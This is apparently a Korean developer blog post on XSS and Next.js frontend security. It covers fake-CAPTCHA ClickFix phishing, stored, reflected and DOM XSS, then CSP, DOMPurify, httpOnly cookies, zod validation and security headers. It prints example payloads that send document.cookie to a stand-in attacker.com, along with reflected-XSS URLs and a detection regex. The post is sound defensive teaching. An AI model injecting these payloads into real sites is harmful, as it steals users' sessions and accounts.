요즘은 가장 이슈가 되고 있고, 실제 사례도 발생되고 있는 Fake Verification Phishing + Click Fix 를 인트로로 시작하려고 한다.

이미지를 보면 요즘 간혹 서비스에 Captcha와 더불어서 인증이 필요하다는 팝업이 발생하는 사례가 있다. 분명 CloudFlare 서비스를 적용하지도 않았는데도 불구하고, 메인페이지에 첨부한 이미지와 같은 팝업이 발생하는데. 이는 대부분 사용자를 속여서 특정 행동을 유도하는 피싱이라고 한다.
말 그대로 서비스 내 악성 유저가 가짜 인증 팝업 UI를 띄워 사용자로 하여금 인증을 유도하려는 행위이다. 사용 중인 유저는 자연스럽게 인증 팝업에 가이드를 속아 개인정보를 제출하여 탈취하게 되는 범죄 행위이다.
명령 실행 유도로 사용자로 하여금 악성 가이드를 통해 명령을 실행하게하여 사용자 PC 안에 악성 프로그램 설치 및 개인정보 탈취를 하기 위한 범죄 행위라고 생각하면 된다.
가짜 CloudFlare Captcha 피싱 팝업은 최근들어 많이 발생되는 사례로, 서비스 내에 팝업창을 띄워 가짜 인증을 유도함과 동시에 의도적으로 실패를 일으키게 하고, 스트레스 받은 사용자를 위한 해결 가이드를 제시함으로 명령 실행으로 악성 프로그램 설치 및 PC 정보 탈취를 하기 위한 Click Fix 범죄 행위하는 보안적 공격이라고 하면 된다.
이유는 되게 여러가지이겠지만, 결론은 서비스의 보안적 허점을 이용한 공격인 것이고, 팝업 UI에 대해서는 XSS공격이 대표적이다. 악성 유저는 서비스 내 Script 공격 가능한 허점을 찾아내어 api 요청을 시도한다. 그래서 방금 설명한 것과 같은 Click Fix 및 *디도스 공격 등을 실행한다.
그래서 서비스를 설계할 때, 번들 및 렌더링과 리소스, SEO 최적화하는 단계도 필요하지만 필수적으로 보안적 대응을 위한 설계도 필요하다. 특히, 프론트엔드 기준 가장 기본적으로 XSS 공격 이란 무엇이고, 관련 대응에 대해서는 알아야한다.
XSS(Cross-Site Scripting)는 공격자가 악의적인 스크립트를 웹 페이지에 삽입하여 사용자의 브라우저에서 실행되도록 만드는 공격이다. 이름에 CSS가 아닌 XSS를 사용하는 이유는 CSS와의 약어 충돌을 피하기 위해서이다.
XSS는 서버가 아닌 클라이언트(브라우저)를 공격 대상으로 한다. 공격자는 피해자의 브라우저를 "원격 조종"하는 것과 같다.

그럼 어느 시점에 발생하는지에 대해 알아보자면, 먼저 브라우저 렌더링 과정을 알아봐야한다.
브라우저는 사용자의 URL 요청 이후 서버로부터 HTML, CSS, JavaScript 등의 리소스를 전달받는다.
이후 브라우저는 HTML을 파싱하여 DOM Tree를 생성하고, CSS를 분석해 CSSOM을 구성한다. 이 과정에서 script 태그 또는 외부 JavaScript 파일이 존재하면 JavaScript 엔진이 실행되며, DOM 생성 과정에 개입하게 된다.
문제는 공격자가 삽입한 악성 스크립트 또한 브라우저 입장에서는 일반 JavaScript 코드처럼 실행된다는 점이다.
브라우저는 기본적으로 같은 출처(Origin)에서 온 콘텐츠를 신뢰한다. XSS는 바로 이 신뢰를 악용하여, 신뢰할 수 있는 사이트의 콘텐츠인 것처럼 위장해 악성 코드를 실행한다.
즉, 검증되지 않은 사용자 입력값이 HTML 내부에 포함될 경우, 브라우저가 이를 정상 스크립트로 해석하면서 XSS 공격이 발생하게 된다.

XSS 공격을 통해 document에 노출된 쿠키를 접근해 계정을 탈취 및 브라우저 속 기능들을 원격 제어할 수 있다고 생각하면 된다.

악성 스크립트가 데이터베이스에 저장되어 피해자가 해당 페이지를 방문할 때마다 실행된다.
<script>
const img = new Image();
img.src = `https://attacker.com/steal?cookie=${document.cookie}`;
</script>
예를 들어, 공격자가 게시판 댓글에 해당 스크립트문을 입력한다고 가정하면 서버는 해당 스크립트문을 그대로 저장하고, 다른 사용자가 댓글 목록을 볼 때, 스크립트가 실행되어 사용자의 쿠키가 공격자 서버로 전송되는 경우가 발생한다.
악성 스크립트가 URL 파라미터에 포함되어 서버가 이를 응답에 그대로 반사하는 방식. 이는 주로 피싱 리크와 조합하여 사용한다.
# 공격자가 피해자에게 이런 URL을 전달
https://example.com/search?q=<script>alert(document.cookie)</script>
# 서버가 검색어를 그대로 HTML에 삽입할 경우
<p>"<script>alert(document.cookie)</script>" 검색 결과입니다</p>
이 XSS는 URL만 클릭하면 즉시 실행되기에 피싱 메일이나 SNS의 단축 URL과 함께 조합해서 사용하면 피해자가 알아채기 매우 어려운 공격이다.
// 취약한 코드 예시
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `안녕하세요, ${name}님!`;
// 공격 URL
// ?name=<img src=x onerror="alert(document.cookie)">
서버를 거치지 않고 클라이언트 JavaScript가 DOM을 직접 조작하는 과정에서 발생한다. 서버 응답에는 악성 코드가 없어서 서버 측 필터링으로는 막을 수 없다.
// ① 공격자가 삽입하는 악성 스크립트
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
userAgent: navigator.userAgent
})
});
</script>
// ② 공격자는 탈취한 세션 ID로 피해자처럼 로그인
// document.cookie = "session_id=abc123" 같은 값이 탈취됨
2005년 MySpace의 Samy 웜 사건에서 XSS를 활용한 자기 전파형 웜이 단 24시간 만에 100만 명 이상의 계정에 감염된 사건이 있었다. 이는 역사상 가장 빠르게 확산된 바이러스 중 하나로 기록된다.
필자는 현재 Next.js 프레임워크를 활용하여 개발 중이기에 해당 프레임워크 기준으로 설명을 한다.
이는 가장 기본이 되는 내용이자 중요하다. console.log는 단순히 외부 브라우저에 노출되는 것을 최소화 하기위해 남발하지 말라는 내용을 넘어 해당 log로 인한 노출로 인해 외부 API 혹은 라이브러리 및 크롤링을 통한 정보 수집 2차 피해를 막아야 하는 내용을 담고 있기에 로그 작성된 코드는 기본적으로 배포 때 만큼은 없애야 하는 과정을 거쳐야 한다.
하지만 혹여나 console.log를 안지우고, 빌드 파일 생성 및 배포하는 과정하는 리스크를 없애기 위해서는 설정도 필요하다.
// .eslintrc.json
{
"rules": {
"no-console": ["error", { "allow": ["warn", "error"] }]
}
}
ESLint 규칙에 콘솔 로그에 대한 warning 혹은 error 표시를 두어 없애도록 유도하기 위한 세팅을 한다.
// next.config.js
const nextConfig = {
compiler: {
removeConsole: process.env.NODE_ENV === "production"
? { exclude: ["error"] }
: false,
},
};
next에서는 config에 빌드 시 자동으로 제거해주는 removeConsole 기능이 있기에 명시를 해주면 좋다. 개발 중일 때에는 development 환경에서 데이터 및 이벤트 액션에 대한 로그 출력으로 검증하는 과정을 거치니 production 레벨일 때 없애도록 하는 설정으로 하면 된다.
브라우저에게 "이 페이지에서 허용된 리소스 출처만 신뢰하라"는 HTTP 헤더이다. 공격자가 악성 스크립트를 삽입하더라도, 허가되지 않은 외부 도메인으로의 요청이나 인라인 스크립트 실행이 차단된다.
// next.config.js
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-{nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://cdn.yourdomain.com;
connect-src 'self' https://api.yourdomain.com https://auth.yourdomain.com;
font-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`;
default-src
가장 기본이 되는 fallback 정책
특별히 정의되지 않은 모든 리소스는 현재 도메인만 허용을 의미
script-src
JavaScript 실행 정책을 결정
JS 파일 로딩, inline script, eval, wasm, dynamic import 등을 제어
connect-src
API 요청 허용 범위
fetch, axios, websocket, SEE, GraphQL 등을 제어
img-src
이미지 로딩 정책
data 와 blob을 허용하게 될텐데. Base64 이미지와 브라우저 메모리기 반 파일 URL 허용해야할 때 필요할 수 있다.
media-src
오디오, 비디오 로딩 정책
mp3, mp4, webcam stream 제어
style-src
CSS 허용 정책
emotion과 같은 Css-in JS 기반이라면 설정 필요
font-src
폰트 로딩 정책
woff2 타입으로 외부에서 가져오는 경우에서는 필요
frame-src
iframe 허용 정책
외부 API의 임베디드로 iframe 실행하거나 보통 유튜브 파일 로더 관련해서 iframe 하는 경우도 있는데. 그럴 때 설정 필요
object-src
none 설정 매우 중요
오래된 플러그인을 차단하는 설정
base-uri
base 태그를 통한 링크 동작 변경 대응하기 위한 설정
self로 매우 중요
frame-ancestors
다른 사이트가 내 사이트를 iframe으로 감싸는걸 제한
none 아니면 self로 설정 필요
form-action
폼 제출 허용 정책
외부 제출이 되지 않기 위해 설정 필요, self로 설정
*unsafe-inline의 경우
<script>alert(1)</script>
같은 inline script 허용이기에 XSS 방어력이 크게 약화되어 가급적 사용을 하지 말아야한다.
에디터 기반 제출된 데이터를 그대로 렌더링할 때, html 렌더링을 하게 되는데. 이럴 때 간혹 dangerouslySetInnerHTML을 사용하게 된다. React에서 dangerouslySetInnerHTML은 이름 그대로 위험하다. 사용자 입력이나 외부 데이터를 그대로 삽입하면 Stored XSS의 직접적인 통로가 된다.
import DOMPurify from "dompurify";
interface SafeHtmlProps {
html: string;
className?: string;
}
const DOMPURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"p", "br", "strong", "em", "u", "s",
"h1", "h2", "h3", "h4", "h5", "h6",
"ul", "ol", "li", "blockquote", "code", "pre",
"a", "img",
],
ALLOWED_ATTR: ["href", "src", "alt", "class", "target", "rel"],
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover"],
FORBID_TAGS: ["script", "iframe", "object", "embed", "form"],
// a 태그 href에서 javascript: 프로토콜 제거
ALLOW_UNKNOWN_PROTOCOLS: false,
};
export function SafeHtml({ html, className }: SafeHtmlProps) {
const sanitized = DOMPurify.sanitize(html, DOMPURIFY_CONFIG);
return (
<div
className={className}
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
);
}
따라서 원래는 정석적으로 입력 데이터와 렌더링 정책에 제한을 걸어 innerHTML이 아닌 마크다운으로 렌더링 하는 방식이 올바른 방식이지만 외부 API로 응답 html 데이터를 렌더링 해야하거나 해당 정책에 대한 렌더링 경우의 수가 다양할 경우 어쩔 수 없이 innerHTML로 한다. 이럴 때에는 html 데이터를 파싱하고, 위험한 태그 속성을 제거하는 과정이 필요하다.
토큰을 localStorage에 저장하면 XSS 공격 즉시 탈취된다. document.localStorage.getItem('accessToken'); 명령 하나에 탈취될 가능성이 있기에 저장하면 안된다.
NextAuth.js는 세션을 서버 사이드에서 관리하고, JWT를 httpOnly 쿠키에 저장하여 JavaScript에서 접근 자체를 차단한다.


실제로 적용해본 결과에서는 브라우저의 쿠키와 로컬스토리지에는 액세스와 리프레시 토큰이 노출되지 않는 것을 확인할 수 있다. 이로써 사용자의 토큰에 대한 노출을 제함으로 보안 강화를 할 수 있다.
특히나, next-auth를 사용할 경우
callbacks: {
async jwt({ token, user }) {
// 최초 로그인 시 백엔드 토큰 저장
if (user) {
token.accessToken = user.accessToken;
token.refreshToken = user.refreshToken;
token.accessTokenExpires = user.accessTokenExpires;
}
// 액세스 토큰 만료 시 리프레시
if (Date.now() < (token.accessTokenExpires as number)) {
return token;
}
return refreshAccessToken(token);
},
async session({ session, token }) {
session.accessToken = token.accessToken as string;
session.error = token.error as string | undefined;
return session;
},
},
클라이언트 컴포넌트에서 accessToken을 가져와 접근 제한 및 렌더링 분기, fetch 제한 해야하는 경우가 있을 수 있는데. return에 accessToken을 별도로 하지말고, session 객체에 담아서 보내야 한다. 안그러면 accessToken이 session 호출을 할때, response에 그대로 노출되는 경우가 있다.
OTP 인증 상태, 임시 인증 코드, 결제 흐름의 중간 상태 같은 일회성·민감 정보는 DB 저장도 과하고 JWT에 담기도 부적절하다. 이럴 때에는 해당 정보를 암호화된 쿠키로 만들어 관리하는 방향도 괜찮은 방식이라고 생각한다.
// lib/session.ts
import { SessionOptions } from "iron-session";
export interface OtpSessionData {
otpVerified?: boolean;
otpEmail?: string;
otpExpires?: number;
}
export const otpSessionOptions: SessionOptions = {
password: process.env.SESSION_SECRET!, // 최소 32자 이상의 랜덤 문자열
cookieName: "app_otp_session",
cookieOptions: {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
maxAge: 60 * 5, // 5분 (일회성)
path: "/",
},
};
iron-session은 서버 사이드에서 AES-256으로 암호화된 쿠키를 생성한다.
클라이언트는 암호화된 값만 보유하고 복호화는 서버에서만 가능한 특징이 있다.
중요한 것은 해당 암호화된 쿠키를 사용하려면 해당 정보는 앞서 말했듯이 일회성이므로 할당 및 해제하는 프로세스가 반드시 필요한 것이다.

sameSite: "none"은 반드시 secure: true와 함께 써야 브라우저가 허용하며, CSRF 공격에 취약해지므로 특수한 경우(OAuth 리다이렉트 등)가 아니면 사용하지 말아야 한다.
클라이언트 검증만으로는 부족하다.
공격자는 브라우저를 우회하여 직접 API를 호출할 수 있기에, 클라이언트 검증은 UX를, 서버 검증은 보안을 담당해야 한다.
import { z } from "zod";
export const loginSchema = z.object({
email: z
.string()
.email("올바른 이메일 형식이 아닙니다")
.max(255, "이메일이 너무 깁니다")
.toLowerCase()
.trim(),
password: z
.string()
.min(8, "비밀번호는 최소 8자 이상이어야 합니다")
.max(128, "비밀번호가 너무 깁니다")
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
"대소문자, 숫자, 특수문자를 포함해야 합니다"
),
});
export const commentSchema = z.object({
content: z
.string()
.min(1, "내용을 입력해주세요")
.max(1000, "1000자 이내로 입력해주세요")
.trim()
// XSS 패턴 차단
.refine(
(val) => !/<script|javascript:|on\w+=/i.test(val),
"허용되지 않는 문자가 포함되어 있습니다"
),
});
export type LoginInput = z.infer<typeof loginSchema>;
export type CommentInput = z.infer<typeof commentSchema>;
zod를 이용하여 입력값에 대한 유효성을 스키마 형태로 정의한다. 이는 서버와 클라이언트 둘 다 같은 형태로 적용할 수 있는 장점으로 요즘 서비스 설계에 모노레포로 구성하는데. 비례적으로 많이 사용되는 라이브러리이다.
// next.config.js
const securityHeaders = [
// 클릭재킹 방어
{ key: "X-Frame-Options", value: "DENY" },
// MIME 타입 스니핑 차단
{ key: "X-Content-Type-Options", value: "nosniff" },
// Referer 정보 최소화
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
// HTTPS 강제 (HSTS)
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload",
},
// 권한 API 차단
{
key: "Permissions-Policy",
value: "camera=(), microphone=(), geolocation=()",
},
];
module.exports = {
async headers() {
return [
{
source: "/(.*)",
headers: securityHeaders,
},
];
},
};
// middleware.ts — CSRF Origin 검증
export function middleware(request: NextRequest) {
if (request.method !== "GET") {
const origin = request.headers.get("origin");
const allowedOrigins = [process.env.NEXT_PUBLIC_APP_URL!];
if (origin && !allowedOrigins.includes(origin)) {
return new NextResponse("Forbidden", { status: 403 });
}
}
return NextResponse.next();
}
XSS와 함께 자주 언급되는 CSRF는 사용자가 의도하지 않은 요청을 발생시키는 공격이다.
Next.js App Router의 Server Action은 기본적으로 Origin 헤더 검증을 하지만, 추가 방어가 필요하다.
UX적으로 더블 클릭 이슈로 debounce 처리를 하지만 무차별적 악성 유저가 로그인 시도 및 특정 API 요청을 막기 위한 보안적 강화의 의미도 담고있다. 이는 클라이언트에서도 처리해야하지만 서버에서도 방지를 해야한다.
// ❌ 위험: 클라이언트에 서버 시크릿 노출
const secret = process.env.DATABASE_URL; // 서버 전용 변수
// NEXT_PUBLIC_ 접두사가 없으면 서버에서만 접근 가능 — 클라이언트 번들에 포함 안 됨
// ✅ 안전: 클라이언트에 공개해도 되는 변수만 NEXT_PUBLIC_ 사용
const apiUrl = process.env.NEXT_PUBLIC_API_URL;
지금 설정되어있는 환경변수들도 한 번 재점검 필요하다. 클라이언트에 노출되어도 상관없는 변수에만 NEXTPUBLIC를 붙이고, 서버 전용에서만 활용해야하고, 공개하면 안되는 변수는 빼야한다.
2025년 React2Shell 보안 이슈가 발생했다. 핵심은 React Server Components(RSC) 역직렬화 과정 취약점이라는 보고서 내용이다. 해당 내용은 다음 보안 관련해서 알아보겠다. 따라서 공식 내용에서는
15.0.x -> 15.0.8 이상
15.1.x -> 15.1.12 이상
15.2.x -> 15.2.9 이상
15.3.x -> 15.3.9 이상
15.4.x -> 15.4.11 이상
15.5.x -> 15.5.10 이상
16.0.x -> 16.0.11 이상
이라는 내용과 함께 버전 새로 업데이트 및 설치할 것을 권고하고 있다.
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components